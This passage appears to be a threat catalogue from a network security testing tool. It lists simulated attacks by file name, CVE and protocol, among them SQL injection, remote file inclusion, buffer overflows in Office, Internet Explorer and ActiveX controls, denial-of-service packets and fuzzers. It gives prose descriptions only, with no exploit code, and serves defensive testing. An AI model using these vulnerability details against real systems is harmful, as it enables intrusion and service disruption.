Detailed Description:	This threat performs a SQL injection attack on the MetaCart2 web application. SQL injection can be used to gain access to information not visible to regular web users, including authentication information. This application is designed for Microsoft IIS, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1362
OSVDB:	15874
Threat Package:	Standard
Threat File Name:	TSL20161108-38_Microsoft_Edge_Chakra_Array.shift_Type_Confusion.xml
Executive Description:	Microsoft Edge Chakra Array.shift Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Chakra, Microsoft Edge's scripting engine. This vulnerability is due to incorrect handling of Array objects in memory when the Array.shift method is called JavaScript. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7201

Threat File Name:	TSL20170411-15_Microsoft_Office_OLE2Link_Remote_Code_Execution.xml
Executive Description:	Microsoft Office OLE2Link Remote Code Execution
Detailed Description:	A remote code execution vulnerability has been reported in the OLE component of Microsoft Office. This vulnerability is due to incorrect parsing of embedded OLE2Link objects. A remote attacker can exploit this vulnerabilities by enticing a user to open a maliciously crafted document. Successful exploitation results in arbitrary code execution under the context of the target user. This vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0199
Threat File Name:	NOOPtcpSPARC.xml
Executive Description:	TCP NOOP packet variant SPARC
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_WRQ_NETASCII_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_NETASCII.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ. Mode is netascii (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20160614-31_Microsoft_Windows_PDF_Library_JPEG2000_Information_Disclosure.xml
Executive Description:	Microsoft Windows PDF Library JPEG2000 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in the JPEG2000 component of the PDF library in Microsoft Windows. The vulnerability is due to improper validation of the COD marker of a JPEG2000 file. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP
CVEID:	CVE-2016-3215
Threat File Name:	pegasus_thumb_activex_deletion_IPv6.xml
Executive Description:	Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Pegasus Imaging ThumbnailXpress ActiveX application, resulting in the deletion of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5320
Threat Package:	Standard
Threat File Name:	FSC20080103-04_Adobe_Flash_Player_ActiveX_Control_navigateToURL_Cross-Site_Scripting.xml
Executive Description:	Adobe Flash Player ActiveX Control navigateToURL Cross-Site Scripting
Detailed Description:	There exists a cross-site scripting vulnerability in the way Adobe Flash Player processes SWF files. The vulnerability is due to lack of input validation while parsing the parameter of navigateToURL function. A remote attacker can exploit this vulnerability by enticing the target user to open malicious web page embedding SWF files, potentially executing arbitrary HTML code within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2007-6244
Threat Package:	Standard
Threat File Name:	FSC20040729-01_Check_Point_VPN-1_ASN_1_Decoding_Heap_Overflow.xml
Executive Description:	Check Point VPN-1 ASN.1 Decoding Heap Overflow
Detailed Description:	There exists a vulnerability in the way Check Point VPN-1 handles the negotiation of a VPN tunnel with a remote client. It is possible for a malicious client to craft a malformed packet designed to generate a memory write violation on the remote server. A successful attack would cause restart of the VPN process on the Checkpoint firewall.
Protocol Type:	ISAKMP
CVEID:	CVE-2004-0699
Threat Package:	Standard
Threat File Name:	FSC20080404-05_CA_ARCServe_Backup_for_Laptops_and_Desktops_LGServer_Service_Code_Execution_IPv6.xml
Executive Description:	CA ARCServe Backup for Laptops and Desktops LGServer Service Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCServe Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted commands to the LGServer service to trigger a buffer overflow and execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	SSDP/IPv6
CVEID:	CVE-2008-1328
Threat Package:	Standard
Threat File Name:	FSC20071210-10_Samba_Domain_Controller_Service_Crafted_Mailslot_Name_Buffer_Overflow_IPv6.xml
Executive Description:	Samba Domain Controller Service Crafted Mailslot Name Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability exists in the NMBD service of Samba. The vulnerability is due to a boundary error while processing specially crafted SAM LOGON requests when Samba is configured as a Primary or Backup Domain Controller. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	NETBIOS/IPv6
CVEID:	CVE-2007-6015
Threat Package:	Standard

Threat File Name:	pigeon_IPv6.xml
Executive Description:	Pigeon Server Denial of Service (IPv6 Version)
Detailed Description:	This threat sends out a malformed packet known to crash Pigeon Server. Pigeon Server is an alternative messaging system for Windows workstations. Pigeon Server typically listens on port 3103. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2004-1688
OSVDB:	10008
Threat Package:	Standard
Threat File Name:	TSL20120125-02_Oracle_Outside_In_Lotus_1-2-3_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In Lotus 1-2-3 Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Oracle's Outside In SDK. The vulnerability is due to improper parsing of SRANGE records (type 0x001B) in Lotus 1-2-3 files. A remote, unauthenticated attacker can leverage this vulnerability by delivering a crafted Lotus 1-2-3 file to a vulnerable target. A successful attack could result in the execution of arbitrary code in the security context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-0110
Threat File Name:	TSL20120125-02_Oracle_Outside_In_Lotus_1-2-3_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In Lotus 1-2-3 Heap Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Oracle's Outside In SDK. The vulnerability is due to improper parsing of SRANGE records (type 0x001B) in Lotus 1-2-3 files. A remote, unauthenticated attacker can leverage this vulnerability by delivering a crafted Lotus 1-2-3 file to a vulnerable target. A successful attack could result in the execution of arbitrary code in the security context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-0110
Threat File Name:	ms_vbp_rexec.xml
Executive Description:	Microsoft Visual Basic 6.0 VBP_Open Project File Handling Buffer Overflow Vulnerability
Detailed Description:	This threat delivers a specially crafted Visual Basic Project File (.vbp) that when opened in Microsoft Visual Basic 6.0 will result execution arbitrary code or denial of service. This threat is delivered via HTTP, port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4776
Threat Package:	Standard
Threat File Name:	FSC20100826-02_OpenLDAP_Modrdn_RDN_NULL_String_Denial_of_Service_IPv6.xml
Executive Description:	OpenLDAP Modrdn RDN NULL String Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in OpenLDAP. The vulnerability is due to invalid memory access when handling a NULL string in a modrdn request. A remote attacker could exploit this vulnerability by sending a malicious request via a modrdn request to connect to the target server. Successful exploitation would allow cause termination of slapd daemon resulting in a denial of service condition.
Protocol Type:	IPv6,LDAP,LDAPS
CVEID:	CVE-2010-0212
Threat Package:	Standard
Threat File Name:	TSL20160510-33_Microsoft_Edge_JavaScript_Engine_Array.shift_Method_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge JavaScript Engine Array.shift Method Memory Corruption (IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge JavaScript Engine. This vulnerability is due to an improper validation in Array.shift method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-0186
Threat File Name:	FSC20060210-05_IBM_Lotus_Notes_Attachment_Viewer_UUE_File_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes Attachment Viewer UUE File Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in IBM Lotus Notes Attachment Viewer. The vulnerability is caused due to a failure in proper buffer boundary checking when handling UUE archive files. An attacker may exploit this issue to inject and execute arbitrary code on the target host system with the privileges of the user running the affected application. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2618
Threat Package:	Standard
Threat File Name:	dlink_bypassAuth2.xml
Executive Description:	D-Link Config File Retrieval
Detailed Description:	This attack retrieves the configuration file from certain D-Link routers. It takes advantage of a failed password check on the router's web management interface.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ms06-032-dos_IPv6.xml
Executive Description:	Microsoft Windows TCP/IP Protocol Driver Remote Buffer Overflow Vulnerability (DoS POC) (IPv6 Version)
Detailed Description:	This threat sends a crafted ICMP packet which causes a buffer overflow condition in the Windows TCP/IP Protocol driver, This threat is based on an early proof of concept based on the windows traceroute utility. This threat is ICMP based, and requires no port number. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2006-2379
Threat Package:	Standard
Threat File Name:	TSL20130514-30_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]

Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2013-1309
OSVDB:	93294
Threat File Name:	acal_cmi_IPv6.xml
Executive Description:	ACal 2.2.6 Arbitrary Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote file containing PHP code which is executed by the server via the day.php "path" parameter. ACal is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2261
Threat Package:	Standard
Threat File Name:	FSC20080110-08_Apple_QuickTime_Crafted_HTTP_Error_Response_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Crafted HTTP Error Response Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime application. The flaw is due to improper boundary protection when handling HTTP error response. A remote attacker can exploit this vulnerability by persuading the target user to visit a malicious server. Successful exploitation could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0234
Threat Package:	Standard
Threat File Name:	FSC20100218-02_Symantec_Products_CLIProxy_dll_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Symantec Products CLIProxy.dll ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in multiple Symantec products. The vulnerability is due to lack of boundary checks in the Symantec Client Proxy ActiveX control (CLIProxy.dll). This vulnerability can allow remote attackers to execute arbitrary code on a target system by enticing a target user to open a maliciously crafted HTML document. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behavior of the target system is dependent on the logic of the malicious code. Any code executed by the attacker runs with the privileges of the logged in user. If code execution is not successful, the browser application used by the target user may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0108
Threat Package:	Standard
Threat File Name:	FSC20060424-01_Microsoft_Internet_Explorer_Nested_Object_Tag_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Nested Object Tag Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is caused due to a flaw while processing nested HTML Object tags leading to memory corruption. A remote attacker may exploit this issue via a malicious web page to cause denial of service or execute arbitrary code in the context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1992
Threat Package:	Standard
Threat File Name:	TSL20070809-08_Symantec_Products_ActiveX_Control_NavComUI_dll_Code_Execution_IPv6.xml
Executive Description:	Symantec Products ActiveX Control NavComUI.dll Code Execution(IPV6 Version)
Detailed Description:	There exists two code execution vulnerabilities in various Symantec Products. The vulnerabilities are caused due to errors in AxSysListView32 and AxSysListView320AA ActiveX controls when handing the "AnomalyList" and "Anomaly" properties. A remote attacker can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in arbitrary code execution. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code will be executed within the security context of the currently logged in user. In an attack case where code injection is not successful, the browser will terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2007-2955
Threat File Name:	cisco_firewall_bof_IPv6.xml
Executive Description:	Cisco IOS Firewall Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to cause a buffer overflow in the Cisco Firewall Authentication module by sending a large username to the telnet authentication system. This can lead to potential remote code execution as well as a denial of service. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-2005-2841
OSVDB:	19227
Threat Package:	Standard
Threat File Name:	saphplesson_sqli_IPv6.xml
Executive Description:	SaPHPLesson Add.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted query containing an SQL statement which is executed by the server with its permissions. SaPHP Lesson is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2835
Threat Package:	Standard

Threat File Name:	FSC20080131-07_Oracle_Database_Server_XDB_PITRIG_TRUNCATE_and_DROP_Procedures_SQL_Injection.xml
Executive Description:	Oracle Database Server XDB PITRIG TRUNCATE and DROP Procedures SQL Injection
Detailed Description:	There exists an SQL injection vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of arguments supplied to procedures PITRIG.TRUNCATE and PITRIG.DROP in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to inject and execute arbitrary SQL code within the security context of the database system administrator.
Protocol Type:	Proprietary
Threat Package:	Standard
Threat File Name:	FSC20100908-14_Adobe_Acrobat_and_Reader_CoolType.dll_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Reader CoolType.dll Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to a stack-based buffer overflow error within the CoolType.dll module when handling PDF files containing TTF fonts. Remote attackers could exploit this vulnerability by enticing target users to open a malicious PDF document. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2010-2883
Threat Package:	Standard
Threat File Name:	TSL20130611-06_Microsoft_Office_PNG_File_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Office PNG File Handling Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to untrusted input while handling PNG files. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open or view a specially crafted office file containing a PNG. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-1331
OSVDB:	94127
Threat File Name:	sony_connect_m3u_bof_IPv6.xml
Executive Description:	Sony CONNECT Player 4.x (m3u File) Local Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a web server to deliver a malicious m3u file that once opened with a vulnerable Sony Connect Player application will result in arbitrary code execution. This threat uses a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5709
Threat Package:	Standard
Threat File Name:	TSL20150402-04_Cisco_Prime_Data_Center_Network_Manager_Information_Disclosure.xml
Executive Description:	Cisco Prime Data Center Network Manager Information Disclosure.
Detailed Description:	An information disclosure vulnerability has been reported in Cisco Prime Data Center Network Manager. The vulnerability is due to an input validation error that allows the retrieval of arbitrary files from the server. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target server with System privileges.
Protocol Type:	HTTP
CVEID:	CVE-2015-0666
Threat File Name:	TSL20111228-05_IBM_Rational_Rhapsody_BB_FlashBack_FBRecorder_Multiple_Vulnerabilities_IPv6.xml
Executive Description:	IBM Rational Rhapsody BB FlashBack FBRecorder Multiple Vulnerabilities(IPv6 Version)
Detailed Description:	Multiple vulnerabilities exist in the BB FlashBack FBRecorder ActiveX control, which is shipped as a component of IBM Rational Rhapsody. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a user to visit a malicious website leveraging an insecure method of the ActiveX control. Successful exploitation may result in execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1388
Threat File Name:	FSC20040217-01_Microsoft_Internet_Explorer_Malformed_BMP_File_Buffer_Overflow_Vulnerability_IPv6.xml
Executive Description:	Microsoft Internet Explorer Malformed BMP File Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer (IE), which could allow a malicious user to execute arbitrary code when a specially crafted bitmap file is loaded by IE. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0566
Threat Package:	Standard
Threat File Name:	TSL20150811-27_Microsoft_Internet_Explorer_CVE_2015_2446_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2446 Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-2446
Threat File Name:	lussumo_vanilla_rfi.xml
Executive Description:	LussoVanilla RootDirectory Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. LussoVanilla is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	iis_pbserver.xml

Executive Description:	MS00-094 IIS Phone Book Server Buffer Overrun
Detailed Description:	This threat takes advantage of a buffer overflow in the phone book service of IIS 4.0 and 5.0. Causes remote code to be executed listing a directory listing in winnt\system32.
Protocol Type:	HTTP
CVEID:	CVE-2000-1089
OSVDB:	463
Threat Package:	Standard
Threat File Name:	soholaunch_pro_rfi.xml
Executive Description:	Soholaunch Pro Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Soholaunch Pro is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5796
Threat Package:	Standard
Threat File Name:	FSC20100608-18_Microsoft_Office_Excel_WOpt_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel WOpt Record Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing a specially crafted Excel file. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-0824
Threat Package:	Standard
Threat File Name:	TSL20150529-01_Wavelink_Emulation_License_Server_HTTP_Header_Processing_Buffer_Overflow.xml
Executive Description:	Wavelink Emulation License Server HTTP Header Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Wavelink Emulation License Server. The vulnerability is due to a boundary error when parsing HTTP headers. By sending crafted requests to a vulnerable server, a remote unauthenticated attacker can possibly exploit this vulnerability to execute arbitrary code in the security context of the System user. Tester should set variable \$destPort to 4420 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-4059
Threat File Name:	qt_qtif_jpg_IPv6.xml
Executive Description:	Quicktime Malformed QTIF Embedded JPEG (IPv6 Version)
Detailed Description:	This threat causes Apple Quicktime to crash by Specifying an invalid length field. This threat typically comes from malicious websites over port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081014-18_Microsoft_Excel_FRTWrapper_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Excel FRTWrapper Record Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is specifically due to improper parsing of Excel documents containing specially crafted FRTWrapper records. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3471
Threat Package:	Standard
Threat File Name:	sipnegativecontentlength.xml
Executive Description:	SIPPING: Negative Content Length
Detailed Description:	This threat sends out a SIP INVITE message with a negative content length. This is not valid and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20130417-24_Oracle_Document_Capture_ActiveX_Control_SetAnnotationFont_Buffer_Overflow.xml
Executive Description:	Oracle Document Capture ActiveX Control SetAnnotationFont Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the BlackIceDevMode.ocx ActiveX control included with Oracle Document Capture. The vulnerability is due to improper bounds checking while parsing the arguments passed to the SetAnnotationFont() method. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code on the target system with the privileges of the logged in user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-1516
OSVDB:	92387
Threat File Name:	FSC20070917-14_OpenOffice_TIFF_File_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	OpenOffice TIFF File Parsing Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice parses Tagged Image File Format (TIFF) images. A remote attacker could exploit this vulnerability by persuading a user to open a malicious TIFF file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2834
Threat Package:	Standard
Threat File Name:	empire_cms_rfi.xml

Executive Description:	Empire CMS Checklevel.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Empire CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4354
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_ampersand.xml
Executive Description:	Fuzz SMTP HELO verb with &
Detailed Description:	Fuzzes the SMTP HELO Parameter with & from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	FSC20060613-16_Microsoft_Windows_Media_Player_PNG_Chunk_Handling_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Media Player PNG Chunk Handling Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Microsoft Windows Media Player. The flaw is caused by the improper parsing of chunk fields in Portable Network Graphics (PNG) files. An attacker can exploit this vulnerability by enticing a user to open a crafted PNG file, resulting in the possible injection and execution of arbitrary code on the target system with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0025
Threat Package:	Standard
Threat File Name:	firefoxSidebar.xml
Executive Description:	Mozilla Firefox Sidebar Code Execution
Detailed Description:	This threat represents a malicious web page that can be added to the Mozilla sidebar bookmark list. If a webpage is opened in the sidebar panel, it runs in the context of a privileged user, allowing arbitrary code execution. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0402
OSVDB:	15009
Threat Package:	Standard
Threat File Name:	TSL20161213-16_Microsoft_Windows_Graphics_Component_CVE-2016-7272_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows Graphics Component CVE-2016-7272 Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in a component of the Microsoft Windows Graphics component. The vulnerability is due to how the component handles certain objects in memory. A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to open a specially crafted web page or document. Successful exploitation could result in arbitrary code execution under the security context of the application.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2016-7272
Threat File Name:	TSL20150911-01_OpenLDAP_ber_get_next_Denial_of_Service_IPv6.xml
Executive Description:	OpenLDAP ber_get_next Denial of Service IPv6 version
Detailed Description:	A denial of service condition has been reported in OpenLDAP. The vulnerability is due to an obsolete assertion failure in ber_get_next(). A remote user can exploit this vulnerability by sending a crafted BER message to the target server. A successful exploitation will cause a denial of service condition. Tester should set variable \$destport to 389 before test.
Protocol Type:	LDAP/LDAPS.IPV6
CVEID:	CVE-2015-6908
Threat File Name:	TSL20150608-03_Red_Hat_NETKVM_Virtio_Win_GetXxpHeaderAndPayloadLen_Integer_Underflow_IPv6.xml
Executive Description:	Red Hat NETKVM Virtio-Win GetXxpHeaderAndPayloadLen Integer Underflow IPv6 version
Detailed Description:	A denial of service vulnerability has been reported in Red Hat virtio-win NetKVM driver. The vulnerability is due to a failure to sufficiently sanitize the length of incoming IP packets. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted IP packet to a server. Successful exploitation could lead to a denial of service condition.
Protocol Type:	IP.IPV6
CVEID:	CVE-2015-3215
Threat File Name:	TSL20141209-28_SAP_SQL_Anywhere_NET_Data_Provider_Column_Alias_Buffer_Overflow.xml
Executive Description:	SAP SQL Anywhere .NET Data Provider Column Alias Buffer Overflow.
Detailed Description:	A buffer overflow vulnerability exists in SAP SQL Anywhere .NET Data Provider. The vulnerability is caused by insufficient boundary checks in the handling of column aliases. If an application allows untrusted input to be used as the column alias in an SQL query, by sending crafted requests to the application, an attacker can overflow a stack-based buffer. This could possibly lead to arbitrary code execution in the context of the application.
Protocol Type:	HTTP
CVEID:	CVE-2014-9264
OSVDB:	115624
Threat File Name:	IEDOS2.xml
Executive Description:	IE Denial of Service Crash
Detailed Description:	This threat causes a crash in Internet Explorer's HTML renderer. Internet Explorer is a web browser, and typically connects to web servers on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	iis_print2.xml
Executive Description:	IIS .printer Request Buffer Overflow
Detailed Description:	This threat is a buffer overflow request that affects IIS 5.0 for Windows 2000 with Service Pack 1 or previous installed. As described in MS01-023, it takes advantage of a flaw in the .printer directive for this version of IIS in the host header.
Protocol Type:	HTTP
CVEID:	CVE-2001-0241

OSVDB:	3323
Threat Package:	Standard
Threat File Name:	TSL20170206-06_LibTIFF_tiffcrop_Integer_Overflow.xml
Executive Description:	LibTIFF tiffcrop Integer Overflow
Detailed Description:	An out-of-bounds write vulnerability exists in LibTIFF tiffcrop component. The vulnerability is due to the integer overflow when calculating the size of the image data from the maliciously crafted TIFF image file. A remote attacker could exploit this vulnerability by sending maliciously crafted image files to an application that processes images with the LibTIFF library. Successful exploitation of this vulnerability could lead to denial of service conditions or, in the worst case, arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2016-9537
Threat File Name:	FSC20080708-09_Microsoft_Windows_Explorer_Search-ms_File_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Explorer Search-ms File Parsing Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Windows Explorer. The vulnerability is due to insecure design in the way Microsoft Windows Explorer parses and saves saved-search(.search-ms) files. Unauthenticated remote attackers can exploit this vulnerability by enticing the target user to open a crafted file and save it, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1435
Threat Package:	Standard
Threat File Name:	efiction_xss_a.xml
Executive Description:	eFiction XSS Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. eFiction is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4167
OSVDB:	21118
Threat File Name:	FSC20081022-04_Trend_Micro_OfficeScan_Multiple_CGI_Modules_HTTP_Form_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Trend Micro OfficeScan Multiple CGI Modules HTTP Form Processing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Trend Micro's OfficeScan. The flaw is due to a boundary error when handling HTTP requests. An unauthenticated remote attacker can leverage this vulnerability to inject and execute arbitrary code with System level privileges on the target system. (IPv6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-3862
Threat Package:	Standard
Threat File Name:	FSC20041101-01_Microsoft_Internet_Explorer_Status_Bar_URL_Spoofing_IPv6.xml
Executive Description:	Microsoft Internet Explorer Status Bar URL Spoofing (IPv6 Version)
Detailed Description:	A vulnerability exists in the way Microsoft Internet Explorer displays a URL in the status bar. A specially crafted HTML link can be masqueraded in the status bar to an arbitrary URL. This can be used by an attacker to entice a user into visiting a malicious web page that, through masquerading, appears to be a trusted web page. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
